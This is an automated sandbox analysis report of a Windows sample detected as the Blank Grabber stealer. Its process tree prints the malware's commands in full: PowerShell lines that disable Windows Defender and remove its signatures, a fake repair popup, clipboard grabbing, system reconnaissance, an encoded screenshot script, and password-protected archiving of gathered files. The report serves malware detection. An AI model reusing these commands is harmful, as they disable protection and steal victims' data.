Edit tour

Windows Analysis Report
cmd.exe

Overview

General Information

Sample name:	cmd.exe
Analysis ID:	1561562
MD5:	b2fe874c2e11c56edf05c5250a8c966f
SHA1:	06d6e28c3cb46e06195a5f8c360d8eeaddfb1c06
SHA256:	255113355555cad23594618b606e851b38bcf588d902ec2678bb893582a90a4f
Tags:	exeuser-JaffaCakes118
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Blank Grabber

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Modifies Windows Defender protection settings

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Removes signatures from Windows Defender

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Rar Usage with Password and Compression Level

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Startup Folder Persistence

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal communication platform credentials (via file / registry access)

Writes or reads registry keys via WMI

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Screensaver Binary File Creation

Stores files to the Windows start menu directory

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7264 cmdline: "C:\Users\user\Desktop\cmd.exe" MD5: B2FE874C2E11C56EDF05C5250A8C966F)

cmd.exe (PID: 7280 cmdline: "C:\Users\user\Desktop\cmd.exe" MD5: B2FE874C2E11C56EDF05C5250A8C966F)

cmd.exe (PID: 7332 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7560 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7340 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7484 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

MpCmdRun.exe (PID: 4476 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 7356 cmdline: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara | Repaired', 48+16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 7516 cmdline: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara | Repaired', 48+16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

cmd.exe (PID: 7380 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7536 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7864 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8032 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7892 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8008 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 8076 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3636 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8088 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 2540 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8100 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6552 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 8108 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 2936 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 1908 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 7888 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 2188 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8276 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 4592 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8300 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 8540 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 8688 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES74CA.tmp" "c:\Users\user\AppData\Local\Temp\bcdu5fii\CSC91B7380AF2C2414A909984B12C6688DE.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 8396 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8444 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8476 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 8552 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

cmd.exe (PID: 8600 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8672 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8772 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8828 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8852 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8904 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 9148 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rar.exe (PID: 9204 cmdline: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 7876 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7700 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7844 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8160 cmdline: wmic computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 5480 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 1076 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 2008 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8396 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6036 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8392 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

